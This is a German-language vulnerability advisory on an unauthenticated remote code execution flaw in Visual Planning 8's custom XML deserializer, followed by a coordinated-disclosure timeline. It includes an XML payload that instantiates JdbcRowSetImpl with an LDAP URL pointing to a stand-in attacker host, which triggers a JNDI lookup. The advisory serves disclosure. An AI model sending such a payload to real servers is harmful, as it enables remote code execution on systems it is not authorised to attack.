Security Advisory

Visual Planning 8 Unauthenticated Remote Code Execution

Eine Schwachstelle im Visual Plannings XML Deserializer erlaubt unauthentifizierten Angreifern das Ausführen von Code.

Advisory ID: MLSA-2024-003
CVE: none
CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Kritikalität: critical
Betroffene Versionen: ≤ Build 240103
Behoben in: Build 240612
Gefunden von: Hans-Martin Münch

Produktbeschreibung (englisch)

Visual Planning is much more than just scheduling software. It’s a complete, powerful, and flexible planning management solution, designed to meet the various needs of companies, whatever their sectors of activity or their products.

Details

Visual Planning bietet “VPDesk”, einen auf Java Webstart basierenden Client. Der VDesk-Client kommuniziert mit einem XML-basierten Webservice, eine typische XML-Nachricht sieht wie folgt aus:.

<?xml version="1.0" encoding="UTF-8"?>
<com.visualplanning.query.NamedMethodParameter>
  <methodName>getPublicApplicationProperties</methodName>
  <rawResult>false</rawResult>
  <userSession isNull="true"/>
  <values>
      <HashtableValue>
        <key>ENCODING</key>
        <value class="String">MG6J5V2JQ29RT5L1</value>
     </HashtableValue>
   </values>
</com.visualplanning.query.NamedMethodParameter>            

Visual Planning verwendet zur Verarbeitung dieser Nachrichten einen eigenen Deserialisierer, der sich in der Klasse com.stilog.xml.SimpleXMLParser befindet. Zusammengefasst erlaubt dieser Deserializer die Erstellung von JavaBeans aus dem übergebenen XML-Dokument. Dabei ruft er zunächst den Standardkonstruktor der Klasse auf, identifiziert die Setter-Methoden (setName, setXXX) für die vorhandenen Eigenschaften und ruft diese Methoden auf. Deer Vorgang ist den gängigen JSON-Deserialisierern wie Jackson sehr ähnlich. s Der Visual Planning-Deserialisierer führt keine Prüfung der zu deserialisierenden Klassen durch, solange sie dem JavaBean-Standard entsprechen und der Server die entsprechende Klasse kennt.

Ein Angreifer, der mit dem XML-basierten Webservice kommunizieren kann, ist in der Lage, den Deserialisierer dazu zu bringen, eine neue Instanz einer “gefährlichen” Klasse zu erstellen und ddessen Setter-Methoden dieser Klasse aufzurufen. Mit Hilfe der internen Java-Klasse JDBCRowSetImpl ist es beispielsweise möglich, einen ausgehenden JNDI-Aufruf zu einen vom Angreifer kontrollierten LDAP-Dienst durchzuführen.

<?xml version="1.0" encoding="UTF-8"?>
<com.sun.rowset.JdbcRowSetImpl>
  <dataSourceName>ldap://attacker:1389/o=reference</dataSourceName>
  <autoCommit>true</autoCommit>
</com.sun.rowset.JdbcRowSetImpl>

Visual Planning 8 verwendet Apache Tomcat. Tomcat bietet eine bekannte JNDI ObjectFactory, welche das Ausführen von beliebigen Code erlaubt.

Workarounds

Keine

Coordinated Disclosure Zeitverlauf

  • 10/06/2024 MOGWAI LABS fragt über das offizielle Kontaktformular nach einem Ansprechpartner
  • 11/06/2024 Antwort vom Visual Planning Sales Team, Anfrage von technischen Details
  • 11/06/2024 MOGWAI LABS sendet Schwachstellenbeschreibung und Beispiele
  • 12/06/2024 Antwort vom Entwicklerteam, sie hätten einen Patch entwickelt und auf einer Test-Instanz deployed.
  • 12/06/2024 MOGWAI LABS führt eine schnelle Analyse des implementierten Updates durch. Frage nach einer CVE und dem Release-Plan für das Update.
  • 19/06/2024 MOGWAI LABS fragt nach einem Update, da die letzte Mail nicht beantwortet wurde.
  • 21/06/2024 Antwort von den Visual Planning Entwicklern, sie werden keine CVE beantragen. Die Frage zum Patch-Release wurde nicht beantwortet.
  • 21/06/2024 Antwort von MOGWAI LABS mit der Frage ob wir eine CVE beantragen sollen. Erneute Nachfrage nach deer Veröffentlichung des Sicherheitsupdates.
  • 10/07/2024 Erneute Anfrage von MOGWAI LABS wann das Update veröffentlicht wird.
  • 10/07/2024 Antwort von Visual Planning, der Patch wurde bereits über ihr Update-Portal im Rahmen der monatlichen Updates veröffentlicht.
  • 10/07/2024 Veröffentlichung des Sicherheits-Advisories.